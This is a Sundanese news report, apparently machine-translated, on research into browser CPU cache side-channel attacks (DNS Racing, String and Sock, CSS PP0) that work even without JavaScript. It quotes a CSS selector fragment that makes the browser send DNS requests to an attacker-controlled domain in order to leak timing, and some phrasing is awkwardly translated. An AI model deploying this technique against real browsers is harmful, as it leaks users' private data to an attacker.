Serangan ékstraksi cache CPU dilaksanakeun dina browser wéb tanpa JavaScript

Hiji tim peneliti ti sababaraha universitas Amérika, Israél jeung Australia geus ngembangkeun tilu serangan anu ngajalankeun on web browser pikeun nimba informasi ngeunaan eusi cache processor. Hiji métode dianggo dina panyungsi tanpa JavaScript, sarta dua séjén bypass sahiji metodeu aya panyalindungan ngalawan serangan sisi-kanal, kaasup nu dipaké dina browser Tor na DeterFox. Kodeu pikeun nunjukkeun serangan, ogé komponén server anu dipikabutuh pikeun serangan, diterbitkeun dina GitHub.

Pikeun nganalisis eusi cache, sadaya serangan nganggo metode Prime + Probe, anu ngalibatkeun ngeusian cache ku set nilai standar sareng ngadeteksi parobahan ku cara ngukur waktos aksés ka aranjeunna nalika ngeusian deui. Pikeun ngalangkungan mékanisme kaamanan anu aya dina panyungsi anu ngaganggu pangukuran waktos anu akurat, dina dua pilihan, banding dilakukeun ka server DNS atanapi WebSocket anu dikawasa ku panyerang, anu nyimpen log waktos pamundut anu ditampi. Dina hiji perwujudan, waktu respon DNS tetep dipaké salaku rujukan waktu.

Pangukuran anu dilakukeun nganggo server DNS atanapi WebSocket éksternal, ngagunakeun sistem klasifikasi dumasar kana pembelajaran mesin, cekap pikeun ngaduga nilai kalayan akurasi dugi ka 98% dina skenario anu paling optimal (rata-rata 80-90%). Metodeu serangan parantos diuji dina sababaraha platform hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) sareng kabuktian universal.

Serangan ékstraksi cache CPU dilaksanakeun dina browser wéb tanpa JavaScript

Varian mimiti serangan DNS Racing ngagunakeun palaksanaan klasik tina metoda Prime + Probe ngagunakeun arrays JavaScript. Bedana kulub handap pikeun pamakéan hiji timer basis DNS éksternal sarta panangan onerror, nu dipicu nalika usaha dijieun pikeun muka hiji gambar ti domain non-existent. Timer éksternal ngamungkinkeun serangan Prime + Probe dina browser anu ngabatesan atanapi nganonaktipkeun lengkep aksés ka timer JavaScript.

Pikeun server DNS anu aya dina jaringan Ethernet anu sami, akurasi timer diperkirakeun sakitar 2 ms, anu cekap pikeun ngalakukeun serangan saluran sisi (pikeun babandingan, akurasi timer JavaScript standar dina Tor Browser nyaéta. diréduksi jadi 100 ms). Pikeun serangan éta, kontrol kana server DNS henteu diperyogikeun, sabab waktos palaksanaan operasi dipilih supados waktos réspon ti DNS janten tanda parantosan sateuacana tina pamariksaan (gumantung kana naha panangan onerror dipicu. saméméhna atawa engké, kacindekan digambar ngeunaan laju operasi dipariksa kalawan cache).

Metodeu serangan kadua, "String and Sock", tujuanana pikeun ngaliwat téknik kaamanan anu ngabatesan panggunaan arrays tingkat rendah dina JavaScript. Gantina arrays, String na Sock ngagunakeun operasi dina string anu kacida gedéna, ukuranana dipilih ku kituna variabel nyertakeun sakabéh cache LLC (Cache tingkat panungtungan). Salajengna, ngagunakeun indexOf () fungsi, a substring leutik ditéang dina string, nu mimitina bolos dina string sumber, i.e. hasil operasi pilarian di iterating leuwih sakabéh string. Kusabab ukuran garis pakait sareng ukuran cache LLC, scanning ngidinan Anjeun pikeun ngalakukeun operasi dipariksa cache tanpa manipulasi arrays. Pikeun ngukur telat, tinimbang DNS, sauran dilakukeun ka server WebSocket anu dikontrol ku panyerang - sateuacan sareng saatos operasi panéangan réngsé, patarosan dikirim dina jalur, dumasar kana éta server ngitung reureuh anu dianggo pikeun nganalisis cache. eusi.

Varian katilu tina serangan "CSS PP0" dilaksanakeun ngaliwatan HTML jeung CSS, sarta bisa dianggo dina panyungsi kalawan JavaScript ditumpurkeun. Métodena sami sareng "String and Sock", tapi henteu dihijikeun sareng JavaScript. Salila serangan, sakumpulan pamilih CSS dibangkitkeun anu milarian ku topéng. The string badag awal nu ngeusi cache diatur ku nyieun tag div kalawan ngaran kelas kacida gedéna. Di jero aya sakumpulan divs anu sanés kalayan identifiers sorangan. Unggal divs nested ieu gaduh gaya sorangan sareng pamilih anu milarian substring. Nalika rendering halaman, browser mimiti nyobian ngolah divs batin, anu nyababkeun operasi milarian dina baris anu ageung. Pamilarian dilaksanakeun nganggo topéng anu ngahaja leungit sareng nyababkeun kana sadaya jalur, saatos kaayaan "henteu" dipicu sareng usaha pikeun ngamuat gambar latar anu ngarujuk kana domain acak: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomain dilayanan ku server DNS panyerang, anu tiasa ngukur telat dina nampi pamundut. Pangladén DNS ngaluarkeun NXDOMAIN pikeun sadaya pamenta sareng nyimpen log waktos pasti tina pamundut. Salaku hasil tina ngolah sakumpulan divs, server DNS panyerang nampi sababaraha pamundut, telat antara anu pakait sareng hasil mariksa eusi cache.

Serangan ékstraksi cache CPU dilaksanakeun dina browser wéb tanpa JavaScript


sumber: opennet.ru

Tambahkeun komentar